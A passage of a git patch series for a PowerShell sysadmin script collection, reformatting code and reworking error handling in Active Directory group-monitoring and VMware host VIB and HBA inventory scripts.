" - IF ($ChangesHistoryFiles) - { + IF ($ChangesHistoryFiles) { # Removing the old DisplayName Property $infoChangeHistory = $infoChangeHistory | Select-Object -Property DateTime, State, Name, SamAccountName, DN @@ -743,12 +694,10 @@ PROCESS $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode # Export HTML File - IF ($PSBoundParameters['HTMLLog']) - { + IF ($PSBoundParameters['HTMLLog']) { # Create HTML Directory if it does not exist $ScriptPathHTML = $ScriptPath + "\HTML" - IF (!(Test-Path -Path $ScriptPathHTML)) - { + IF (!(Test-Path -Path $ScriptPathHTML)) { Write-Verbose -Message "[PROCESS] Creating the HTML Folder : $ScriptPathHTML" New-Item -Path $ScriptPathHTML -ItemType Directory | Out-Null } @@ -765,8 +714,7 @@ PROCESS ELSE { Write-Verbose -Message "[PROCESS] $item - No Change" } }#IF ($GroupName) - ELSE - { + ELSE { Write-Verbose -message "[PROCESS] $item - Group can't be found" #IF (Get-ChildItem (Join-Path $ScriptPathOutput "*$item*-membership.csv" -ErrorAction Continue) -or (Get-ChildItem (Join-Path $ScriptPathChangeHistory "*$item*.csv" -ErrorAction Continue))) #{ @@ -775,8 +723,7 @@ PROCESS }#ELSE $GroupName }#TRY - CATCH - { + CATCH { Write-Warning -Message "[PROCESS] Something went wrong" #Write-Warning -Message $_.Exception.Message Write-Warning -Message $Error[0] @@ -798,15 +745,13 @@ PROCESS }#CATCH }#FOREACH }#TRY - CATCH - { + CATCH { Write-Warning -Message "[PROCESS] Something wrong happened" #Write-Warning -Message $error[0].exception.message Write-Warning -Message $error[0] } }#PROCESS -END -{ +END { Write-Verbose -message "[END] Script Completed" } From 372143edb5df90110587dd814b09f66acda8c868 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 15:54:48 -0800 Subject: [PATCH 201/561] Add note for the script, moved to another repo --- AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index aa11ee0c..6fb932ad 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -1,3 +1,5 @@ +# Script is now maintained on the following repository: https://github.com/lazywinadmin/Monitor-ADGroupMembership + <# .SYNOPSIS This script is monitoring group(s) in Active Directory and send an email when someone is changing the membership. From 3cca7d4b2604c6a213a7772dd73c8789fdc52c96 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 15:59:15 -0800 Subject: [PATCH 202/561] Fix Catch block --- AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 b/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 index 79d27a79..3e265bac 100644 --- a/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 +++ b/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 @@ -69,8 +69,7 @@ }#TRY CATCH { - Write-Warning -Message "[PROCESS] Something Wrong Happened" - Write-Warning -Message $Error[0] + $PSCmdlet.ThrowTerminatingError($_) }#CATCH }#PROCESS END From 53ca7af29c818157789a96dde8f6c4bb22884321 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:02:35 -0800 Subject: [PATCH 203/561] Fix error handling, update syntax format --- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 136 +++++++----------- 1 file changed, 55 insertions(+), 81 deletions(-) diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index 6b780546..4f9f7877 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -18,64 +18,52 @@ This Script retrieve the VIB information on all the VMware Host lazywinadmin.com @lazywinadmin #> -[CmdletBinding(DefaultParameterSetName="All")] +[CmdletBinding(DefaultParameterSetName = "All")] PARAM ( [parameter(Mandatory = $true)] + [pscredential] $Credential, [parameter(Mandatory = $true)] $Vcenter, - [Parameter(mandatory=$true,ParameterSetName = "All")] + [Parameter(mandatory = $true, ParameterSetName = "All")] [Switch]$AllVib, - [Parameter(mandatory=$true,ParameterSetName = "VIBName")] + [Parameter(mandatory = $true, ParameterSetName = "VIBName")] $VibName, - [Parameter(mandatory=$true,ParameterSetName = "VIBVendor")] + [Parameter(mandatory = $true, ParameterSetName = "VIBVendor")] $VibVendor ) -BEGIN -{ - TRY - { +BEGIN { + TRY { # Verify VMware Snapin is loaded - IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) - { + IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) { Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin } # Verify VMware Snapin is connected to at least one vcenter - IF (-not ($global:DefaultVIServer.count -gt 0)) - { + IF (-not ($global:DefaultVIServer.count -gt 0)) { Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." $Vcenter = Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter" - IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') - { + IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') { Connect-VIServer -Server $Vcenter -credential (Get-Credential) -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer } - ELSE - { + ELSE { Connect-VIServer -Server $Vcenter -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer } } } - CATCH - { - Write-Warning -Message "Can't Connect to the Vcenter Server $vcenter" - Write-Warning -Message $Error[0].Exception.Message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } } -PROCESS -{ - TRY - { +PROCESS { + TRY { $VMHosts = Get-VMHost -ErrorAction Stop -ErrorVariable ErrorGetVMhost | Where-Object { $_.ConnectionState -eq "Connected" } - IF ($PSBoundParameters['AllVib']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { + IF ($PSBoundParameters['AllVib']) { + Foreach ($CurrentVMhost in $VMHosts) { + TRY { # Exposes the ESX CLI functionality of the current host $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name # Retrieve Vibs @@ -83,14 +71,14 @@ PROCESS ForEach-Object { $VIB = $_ $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate 'AcceptanceLevel' = $VIB.AcceptanceLevel }#$Prop @@ -98,19 +86,15 @@ PROCESS New-Object PSobject -Property $Prop }#FOREACH }#TRY - CATCH - { + CATCH { Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" Write-Warning -Message $Error[0].Exception.Message } } } - IF ($PSBoundParameters['VibVendor']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { + IF ($PSBoundParameters['VibVendor']) { + Foreach ($CurrentVMhost in $VMHosts) { + TRY { # Exposes the ESX CLI functionality of the current host $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name # Retrieve Vib from vendor $vibvendor @@ -119,14 +103,14 @@ PROCESS { $VIB = $_ $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate 'AcceptanceLevel' = $VIB.AcceptanceLevel }#$Prop @@ -134,19 +118,14 @@ PROCESS New-Object PSobject -Property $Prop }#FOREACH }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } } } - IF ($PSBoundParameters['VibName']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { + IF ($PSBoundParameters['VibName']) { + Foreach ($CurrentVMhost in $VMHosts) { + TRY { # Exposes the ESX CLI functionality of the current host $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name # Retrieve Vib with name $vibname @@ -155,14 +134,14 @@ PROCESS { $VIB = $_ $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate 'AcceptanceLevel' = $VIB.AcceptanceLevel }#$Prop @@ -170,18 +149,13 @@ PROCESS New-Object PSobject -Property $Prop }#FOREACH }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } } } } - CATCH - { - Write-Warning -Message "Something wrong happened in the script" - IF ($ErrorGetVMhost) { Write-Warning -Message "Couldn't retrieve VMhosts" } - Write-Warning -Message $Error[0].Exception.Message + CATCH { + throw $_ } } From a46d3ad424bbdd3e9966873e7ac91109188db5a6 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:04:20 -0800 Subject: [PATCH 204/561] Update Error handling, replace tabs --- .../Get-VMhostHbaInfo.ps1 | 426 +++++++++--------- 1 file changed, 213 insertions(+), 213 deletions(-) diff --git a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 index 77ea4624..04395af9 100644 --- a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 +++ b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 @@ -2,249 +2,249 @@ Function Get-VMhostHbaInfo { <# .SYNOPSIS - The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. + The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. .DESCRIPTION - The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. + The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. .PARAMETER VMHost - Specify the VMhost to query + Specify the VMhost to query .PARAMETER Username - Specify the Username account to use to connect via putty (plink.exe) + Specify the Username account to use to connect via putty (plink.exe) .PARAMETER Password - Specify the Username account's password to use to connect via putty (plink.exe) + Specify the Username account's password to use to connect via putty (plink.exe) .PARAMETER PlinkPath - Specify the plink.exe full path. Default is "C:\Program Files (x86)\PuTTY\plink.exe" + Specify the plink.exe full path. Default is "C:\Program Files (x86)\PuTTY\plink.exe" .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba2 - HbaWWN : 10:00:00:00:c9:a5:44:a8 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba2 + HbaWWN : 10:00:00:00:c9:a5:44:a8 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba3 - HbaWWN : 10:00:00:00:c9:a5:44:a9 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba3 + HbaWWN : 10:00:00:00:c9:a5:44:a9 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -PlinkPath "C:\Program Files (x86)\PuTTY\plink.exe" - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba2 - HbaWWN : 10:00:00:00:c9:a5:44:a8 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba3 - HbaWWN : 10:00:00:00:c9:a5:44:a9 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -PlinkPath "C:\Program Files (x86)\PuTTY\plink.exe" + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba2 + HbaWWN : 10:00:00:00:c9:a5:44:a8 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba3 + HbaWWN : 10:00:00:00:c9:a5:44:a9 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -Verbose - - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving General Information ... - VERBOSE: 6/10/2014 12:38:51 PM Get-View Started execution - VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution - VERBOSE: PROCESS - - Status is Powered On - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... - VERBOSE: 6/10/2014 12:38:52 PM Get-View Started execution - VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution - VERBOSE: PROCESS - vmhost01.fx.lab - Output Result - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba2 - HbaWWN : 10:00:00:00:c9:a5:44:a8 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... - VERBOSE: 6/10/2014 12:38:53 PM Get-View Started execution - VERBOSE: 6/10/2014 12:38:54 PM Get-View Finished execution - VERBOSE: PROCESS - vmhost01.fx.lab - Output Result - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba3 - HbaWWN : 10:00:00:00:c9:a5:44:a9 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - VERBOSE: END - End of Get-VMhostHbaInfo + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -Verbose + + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving General Information ... + VERBOSE: 6/10/2014 12:38:51 PM Get-View Started execution + VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution + VERBOSE: PROCESS - - Status is Powered On + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... + VERBOSE: 6/10/2014 12:38:52 PM Get-View Started execution + VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution + VERBOSE: PROCESS - vmhost01.fx.lab - Output Result + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba2 + HbaWWN : 10:00:00:00:c9:a5:44:a8 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... + VERBOSE: 6/10/2014 12:38:53 PM Get-View Started execution + VERBOSE: 6/10/2014 12:38:54 PM Get-View Finished execution + VERBOSE: PROCESS - vmhost01.fx.lab - Output Result + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba3 + HbaWWN : 10:00:00:00:c9:a5:44:a9 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + VERBOSE: END - End of Get-VMhostHbaInfo .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword | Export-CSV HBAInformation.csv + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword | Export-CSV HBAInformation.csv .INPUTS - System.String + System.String .OUTPUTS - PSObject + PSObject .NOTES - Twitter: @lazywinadmin - WWW: lazywinadmin.com + Twitter: @lazywinadmin + WWW: lazywinadmin.com - VERSION HISTORY - 1.0 Original version of this script is from vmdude.fr (http://www.vmdude.fr/en/scripts-en/hba-firmware-version/) - 2.0 Converted to a reusable function + VERSION HISTORY + 1.0 Original version of this script is from vmdude.fr (http://www.vmdude.fr/en/scripts-en/hba-firmware-version/) + 2.0 Converted to a reusable function #> - [CmdletBinding()] - PARAM ( - [Parameter( - Mandatory = $true, - ValueFromPipeline = $true)] - [String] $VMhost, - [Parameter()] - [ValidateScript({ Test-path -Path $_ -PathType Leaf })] - [string] $PlinkPath = "C:\Program Files (x86)\PuTTY\plink.exe", - [Parameter( - HelpMessage = "Enter the ESXi account used for SSH connection/command.", - Mandatory = $true)] - [string] $Username, - [Parameter( - HelpMessage = "Enter the ESXi account's password.", - Mandatory = $true)] - [string] $Password - ) - BEGIN - { - TRY - { - # Verify VMware Snapin is loaded - IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) - { - Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." - Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin - } - - # Verify VMware Snapin is connected to at least one vcenter - IF (-not ($global:DefaultVIServer.count -gt 0)) - { - Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." - Connect-VIServer -Server (Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter") -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer - } - } - CATCH - { - - IF ($ErrorBeginAddPssnapin) - { - Write-Warning -Message "BEGIN - VMware Snapin VMware.VimAutomation.Core does not seem to be available" - Write-Error -message $Error[0].Exception.Message - } - IF ($ErrorBeginConnectViServer) - { - Write-Warning -Message "BEGIN - Couldnt connect to the Vcenter" - Write-Error -message $Error[0].Exception.Message - } - } - } - PROCESS - { - TRY - { - Write-verbose -Message "PROCESS - $Vmhost - Retrieving General Information ..." - $hostsview = Get-View -ViewType HostSystem -Property ("runtime", "name", "config", "hardware") -Filter @{ "Name" = "$VMhost" } -ErrorAction Stop -ErrorVariable ErrorProcessGetView - - IF ($hostsview) - { - IF ($hostsview.runtime.PowerState -match "poweredOn") - { - Write-verbose -Message "PROCESS - $($hostview.name) - Status is Powered On" - $esx = $hostsview | where-object { $_.runtime.PowerState -match "poweredOn" } - FOREACH ($hba in ($esx.Config.StorageDevice.HostBusAdapter | Where-Object { $_.GetType().Name -eq "HostFibreChannelHba" })) - { - Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA information ..." - $line = "" | Select-Object -Property HostName, HostProduct, HbaDevice, HbaWWN, HbaDriver, HbaModel, HbaFirmwareVersion, HWModel - $line.HostName = $esx.name - $line.HostProduct = $esx.config.product.fullName - $line.HbaDevice = $hba.device - $line.HbaWWN = ([regex]::matches("{0:x}" -f $hba.PortWorldWideName, '.{2}') | Foreach-object { $_.value }) -join ':' - $line.HbaDriver = $hba.driver - $line.HbaModel = $hba.model - $line.HWModel = $esx.hardware.systemInfo.model - - - Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA Advance information - checking SSH Service..." - IF (((Get-View -ViewType HostSystem -ErrorAction Stop -ErrorVariable ErrorProcessGetViewTypeService -Filter @{ "Name" = $($ESX.name) }).config.service.service |where-object { $_.key -eq 'tsm-ssh' }).running) - { - if ($hba.driver -match "lpfc") - { - $remoteCommand = "head -9 /proc/scsi/lpfc*/* | grep -B1 $($line.HbaWWN) | grep -i 'firmware version' | sed 's/Firmware Version:\{0,1\} \(.*\)/\1/'" - } - elseif ($hba.driver -match "qla") - { - $remoteCommand = "head -8 /proc/scsi/qla*/* | grep -B2 $($hba.device) | grep -i 'firmware version' | head -1 | sed 's/.*Firmware version \(.*\), Driver version.*/\1/'" - } - $tmpStr = [string]::Format('& "{0}" {1} "{2}"', $PlinkPath, "-ssh " + $Username + "@" + $esx.Name + " -pw $Password", $remoteCommand + ";exit") - - #Running plink.exe - $line.HbaFirmwareVersion = Invoke-Expression $tmpStr - } - ELSE - { - Write-Warning -Message "PROCESS - $($esx.name) - SSH Server is not enabled" - $line.HbaFirmwareVersion = "" - } - - Write-Verbose -Message "PROCESS - $($esx.name) - Output Result" - Write-Output $line - }#FOREACH ($hba in ($esx.Config - }#IF ($hostsview.runtime.PowerState -match "poweredOn") - ELSE - { - Write-verbose -Message "PROCESS - Host: $($hostview.name) - Powered Off" - } - } #IF HOSTVIEW - ELSE - { - Write-Verbose -Message "PROCESS - Can't find any host" - } - }#TRY - CATCH - { - Write-Warning -Message "PROCESS - Something Wrong happened" - IF ($ErrorProcessGetView) { Write-Error -Message "PROCESS - Error while getting the host information" } - IF ($ErrorProcessGetViewTypeService) { Write-Error -Message "PROCESS - Error while getting the host services information" } - Write-Error -Message $($Error[0].Exception.Message) - } - } #PROCESS - END - { - Write-Verbose -Message "END - End of Get-VMhostHbaInfo" - } + [CmdletBinding()] + PARAM ( + [Parameter( + Mandatory = $true, + ValueFromPipeline = $true)] + [String] $VMhost, + [Parameter()] + [ValidateScript({ Test-path -Path $_ -PathType Leaf })] + [string] $PlinkPath = "C:\Program Files (x86)\PuTTY\plink.exe", + [Parameter( + HelpMessage = "Enter the ESXi account used for SSH connection/command.", + Mandatory = $true)] + [string] $Username, + [Parameter( + HelpMessage = "Enter the ESXi account's password.", + Mandatory = $true)] + [string] $Password + ) + BEGIN + { + TRY + { + # Verify VMware Snapin is loaded + IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) + { + Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." + Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin + } + + # Verify VMware Snapin is connected to at least one vcenter + IF (-not ($global:DefaultVIServer.count -gt 0)) + { + Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." + Connect-VIServer -Server (Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter") -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer + } + } + CATCH + { + + IF ($ErrorBeginAddPssnapin) + { + Write-Warning -Message "BEGIN - VMware Snapin VMware.VimAutomation.Core does not seem to be available" + $PSCmdlet.ThrowTerminatingError($_) + } + IF ($ErrorBeginConnectViServer) + { + Write-Warning -Message "BEGIN - Couldnt connect to the Vcenter" + $PSCmdlet.ThrowTerminatingError($_) + } + } + } + PROCESS + { + TRY + { + Write-verbose -Message "PROCESS - $Vmhost - Retrieving General Information ..." + $hostsview = Get-View -ViewType HostSystem -Property ("runtime", "name", "config", "hardware") -Filter @{ "Name" = "$VMhost" } -ErrorAction Stop -ErrorVariable ErrorProcessGetView + + IF ($hostsview) + { + IF ($hostsview.runtime.PowerState -match "poweredOn") + { + Write-verbose -Message "PROCESS - $($hostview.name) - Status is Powered On" + $esx = $hostsview | where-object { $_.runtime.PowerState -match "poweredOn" } + FOREACH ($hba in ($esx.Config.StorageDevice.HostBusAdapter | Where-Object { $_.GetType().Name -eq "HostFibreChannelHba" })) + { + Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA information ..." + $line = "" | Select-Object -Property HostName, HostProduct, HbaDevice, HbaWWN, HbaDriver, HbaModel, HbaFirmwareVersion, HWModel + $line.HostName = $esx.name + $line.HostProduct = $esx.config.product.fullName + $line.HbaDevice = $hba.device + $line.HbaWWN = ([regex]::matches("{0:x}" -f $hba.PortWorldWideName, '.{2}') | Foreach-object { $_.value }) -join ':' + $line.HbaDriver = $hba.driver + $line.HbaModel = $hba.model + $line.HWModel = $esx.hardware.systemInfo.model + + + Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA Advance information - checking SSH Service..." + IF (((Get-View -ViewType HostSystem -ErrorAction Stop -ErrorVariable ErrorProcessGetViewTypeService -Filter @{ "Name" = $($ESX.name) }).config.service.service |where-object { $_.key -eq 'tsm-ssh' }).running) + { + if ($hba.driver -match "lpfc") + { + $remoteCommand = "head -9 /proc/scsi/lpfc*/* | grep -B1 $($line.HbaWWN) | grep -i 'firmware version' | sed 's/Firmware Version:\{0,1\} \(.*\)/\1/'" + } + elseif ($hba.driver -match "qla") + { + $remoteCommand = "head -8 /proc/scsi/qla*/* | grep -B2 $($hba.device) | grep -i 'firmware version' | head -1 | sed 's/.*Firmware version \(.*\), Driver version.*/\1/'" + } + $tmpStr = [string]::Format('& "{0}" {1} "{2}"', $PlinkPath, "-ssh " + $Username + "@" + $esx.Name + " -pw $Password", $remoteCommand + ";exit") + + #Running plink.exe + $line.HbaFirmwareVersion = Invoke-Expression $tmpStr + } + ELSE + { + Write-Warning -Message "PROCESS - $($esx.name) - SSH Server is not enabled" + $line.HbaFirmwareVersion = "" + } + + Write-Verbose -Message "PROCESS - $($esx.name) - Output Result" + Write-Output $line + }#FOREACH ($hba in ($esx.Config + }#IF ($hostsview.runtime.PowerState -match "poweredOn") + ELSE + { + Write-verbose -Message "PROCESS - Host: $($hostview.name) - Powered Off" + } + } #IF HOSTVIEW + ELSE + { + Write-Verbose -Message "PROCESS - Can't find any host" + } + }#TRY + CATCH + { + Write-Warning -Message "PROCESS - Something Wrong happened" + IF ($ErrorProcessGetView) { Write-Error -Message "PROCESS - Error while getting the host information" } + IF ($ErrorProcessGetViewTypeService) { Write-Error -Message "PROCESS - Error while getting the host services information" } + $PSCmdlet.ThrowTerminatingError($_) + } + } #PROCESS + END + { + Write-Verbose -Message "END - End of Get-VMhostHbaInfo" + } } From c0aad5b2cf77aca332e81bd89c5f9087ff6dee9f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:04:27 